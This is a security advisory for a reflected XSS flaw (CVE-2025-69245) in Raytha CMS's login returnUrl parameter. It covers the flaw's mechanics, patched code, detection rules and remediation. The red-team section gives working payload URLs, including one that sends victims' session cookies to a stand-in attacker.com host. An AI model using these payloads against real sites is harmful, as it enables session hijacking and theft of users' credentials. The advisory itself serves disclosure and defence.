CVE-2025-69245
Executive Summary
CVE-2025-69245 is a reflected Cross-Site Scripting (XSS) vulnerability in Raytha CMS, affecting versions prior to 1.4.6. The flaw exists in the logon functionality, where the returnUrl parameter is not properly sanitized. An attacker can craft a malicious URL that, when opened by an authenticated victim, results in arbitrary JavaScript execution in the victim’s browser. This can lead to session hijacking, credential theft, or further compromise of the CMS instance. The vulnerability has a CVSS score of 6.1 (Medium) and is publicly known with a patch available in version 1.4.6.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Raytha CMS is a .NET-based content management system. The vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct code flaw in the application's authentication flow. No supply chain compromise has been identified.
CVSS Breakdown & Threat Level
- CVSS Score: 6.1 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required (victim must click the malicious link)
- Scope: Changed (impact may extend beyond the vulnerable component)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. Exploitation requires user interaction, but the impact can be significant in a CMS context (e.g., session hijacking, defacement).
Deep Dive & Mechanics
The vulnerability resides in the logon endpoint of Raytha CMS. When a user is redirected to the login page (e.g., after accessing a protected resource), the returnUrl parameter is used to redirect the user back after successful authentication. This parameter is reflected in the page without proper encoding or validation.
An attacker can craft a URL like:
https://target-raytha-cms.com/login?returnUrl=javascript:alert(document.cookie)
or
https://target-raytha-cms.com/login?returnUrl="><script>alert(1)</script>
When an authenticated victim clicks this link, the malicious JavaScript executes in the context of the Raytha CMS domain. This can be used to steal session cookies, perform actions on behalf of the victim, or deface the site.
The root cause is insufficient output encoding of the returnUrl parameter in the login view. The fix in version 1.4.6 likely involves proper URL validation and encoding.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual - C# Razor View):
@{
var returnUrl = Context.Request.Query["returnUrl"];
}
<form action="/login" method="post">
<input type="hidden" name="returnUrl" value="@returnUrl" />
...
</form>
Patched Code (Conceptual):
@{
var returnUrl = Context.Request.Query["returnUrl"];
// Validate that returnUrl is a relative URL or a safe absolute URL
if (!Uri.IsWellFormedUriString(returnUrl, UriKind.RelativeOrAbsolute) ||
returnUrl.StartsWith("javascript:") ||
returnUrl.StartsWith("data:"))
{
returnUrl = "/";
}
}
<form action="/login" method="post">
<input type="hidden" name="returnUrl" value="@Html.Encode(returnUrl)" />
...
</form>
Exploitation & Lab Setup
Red Team
Prerequisites:
- A vulnerable Raytha CMS instance (version < 1.4.6)
- A victim user who is authenticated (or will authenticate after clicking the link)
- A web server to capture exfiltrated data (optional)
Exploit Steps:
- Craft a malicious URL:
https://target-raytha-cms.com/login?returnUrl=javascript:fetch('https://attacker.com/steal?cookie='%2Bdocument.cookie) - Send the URL to the victim via email, social engineering, or other means.
- When the victim clicks the link and is authenticated (or logs in), the JavaScript executes.
- The victim's session cookie is sent to the attacker's server.
Alternative Payload (using an event handler):
https://target-raytha-cms.com/login?returnUrl="><img src=x onerror=alert(1)>
Blue Team
Detection:
- Monitor web server logs for unusual
returnUrlparameters containingjavascript:,<script>, or other XSS patterns. - Use a Web Application Firewall (WAF) to block requests with suspicious
returnUrlvalues. - Implement Content Security Policy (CSP) headers to mitigate XSS impact.
Hunting:
- Search for log entries where
returnUrlcontainsjavascript:,data:, or HTML tags. - Look for multiple requests from the same IP to the login page with varying
returnUrlvalues.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/loginwithreturnUrlcontainingjavascript:,<script>,onerror=, or similar XSS patterns. - Outbound connections from the CMS server to unknown IPs (potential data exfiltration).
- HTTP requests to
File IOCs:
- Modified login view files (e.g.,
Login.cshtml) if the attacker has write access.
- Modified login view files (e.g.,
Log IOCs:
- Web server logs showing
returnUrlwith encoded or malicious characters.
- Web server logs showing
Detection Engineering
YARA Rule
rule CVE_2025_69245_Raytha_XSS {
meta:
description = "Detects reflected XSS attempts against Raytha CMS returnUrl parameter"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-69245"
strings:
$xss1 = "returnUrl=javascript:" ascii wide nocase
$xss2 = "returnUrl=<script" ascii wide nocase
$xss3 = "returnUrl=\" on" ascii wide nocase
$xss4 = "returnUrl=" ascii wide nocase
condition:
any of ($xss*) and filesize < 10KB
}
Sigma Rule
title: Reflected XSS in Raytha CMS returnUrl Parameter
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with malicious returnUrl parameter targeting Raytha CMS login
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-69245
logsource:
category: webserver
product: apache
service: http
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: 'returnUrl='
cs-uri-query|contains|any:
- 'javascript:'
- '<script'
- 'onerror='
- 'onload='
condition: selection
falsepositives:
- Legitimate use of returnUrl with safe values (e.g., relative paths)
level: high
Suricata Rule
alert http any any -> $HOME_NET any (msg:"CVE-2025-69245 Raytha CMS Reflected XSS Attempt"; flow:to_server,established; content:"returnUrl="; http_uri; content:"javascript:"; http_uri; nocase; sid:1000001; rev:1; reference:cve,2025-69245;)
Remediation & Mitigation
Immediate Actions:
- Upgrade Raytha CMS to version 1.4.6 or later. This is the only complete fix.
- If upgrade is not possible, apply a virtual patch using a WAF to block malicious
returnUrlvalues. - Review and restrict access to the login page if possible.
Long-term Measures:
- Implement input validation and output encoding for all user-controlled parameters.
- Use Content Security Policy (CSP) headers to reduce the impact of XSS.
- Conduct regular security audits and penetration testing.
- Monitor for similar vulnerabilities in other CMS components.
Workaround (if patching is delayed):
- Modify the login view to validate
returnUrlagainst a whitelist of allowed URLs (e.g., only relative paths starting with/).
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert